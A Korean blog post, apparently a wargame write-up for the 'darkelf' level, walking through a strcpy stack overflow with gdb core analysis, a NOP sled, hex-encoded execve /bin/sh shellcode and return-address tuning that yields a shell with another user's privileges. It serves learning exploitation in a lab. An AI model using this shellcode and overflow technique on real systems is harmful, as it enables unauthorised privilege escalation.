LEVEL6 (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter

이번에는 argv[1]의 길이도 검사하고 있다. 코드를 확인해보자

 [wolfman@localhost .izayoi]$ cat darkelf.c
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // shellcode hunter
        memset(buffer, 0, 40);
}


음~ 아마 level2에서 써먹은 방법을 방지하려는 모양이다.
argv[1]이 48글자를 넘으면 프로그램을 종료 시킨다.

level2의 공격 구문을 생각해보면
buffer[16]인데
"a"x16+"ret address 뒷 주소" + "\x90"x100 + shellcode
대충 이런식으로 구성을 했었던 것으로 기억한다.
여기서는 이런 식의 공격을 방지하기 위해 argv값을 계산하였고 우리는 전에 사용하던 방식
"\x90"x20 + shellcode(24byte) + argv address 를 이용할 것 이다.

 [wolfman@localhost .izayoi]$ ./darkelf `perl -e 'print "\xbf"x48'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)
[wolfman@localhost .izayoi]$ gdb -c core -q
Core was generated by `./darkelf ¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/120x $esp
...
0xbffffc30:     0x00666c65      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffc40:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffc50:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffc60:     0xbfbfbfbf      0x00000000      0x00000000      0x00000000
...

음 0xbffffc34영역부터 "\xbf"가 채워져있는 것을 확인할 수 있다. 그래~

 [wolfman@localhost wolfman]$ ./darkelf `perl -e 'print "\x90"x20,,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x34\xfc\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€4üÿ¿
Illegal instruction
[wolfman@localhost wolfman]$ ./darkelf `perl -e 'print "\x90"x20,,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x30\xfc\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€0üÿ¿
bash$ id
uid=505(wolfman) gid=505(wolfman) euid=506(darkelf) egid=506(darkelf) groups=505(wolfman)
bash$ my-pass
euid = 506
kernel crashed

개객끼... Illegal instruction이면 아마 코드의 중간부터 시작해서 쉘이 안떨어지는 것이라고 생각한다.
(아마 0x6850c031을 읽은게 아니라 0x68732f2f를 읽었겠지..) 앞으로 4byte만큼 땡겼더니 그때서야 쉘이 떨어진다. 흐흐

0119(다음날) 내용추가

 [wolfman@localhost wolfman]$ ./darkelf `perl -e 'print "\x90"x20,,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x30\xfc\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€0üÿ¿
Segmentation fault
[wolfman@localhost wolfman]$ ./darkelf `perl -e 'print "\x90"x20,,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x42\xfc\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€Büÿ¿
bash$

다음날 내용중에 my-pass를 쳐서 패스워드를 확인하지 않은 것을 발견. 다시 재작성을 하려고 문제를 다시 풀던 와중. 30의 주소에 넣었더니 세그멘테이션 폴트가 뜨는것이다. 결국 또 패스워드를 찾아본 결과 쉘이 떨어졌다.

결국 실행할때마다?인지는 모르겠으나 주소값이 변하는 것을 알 수 있다.
Posted by john@memory :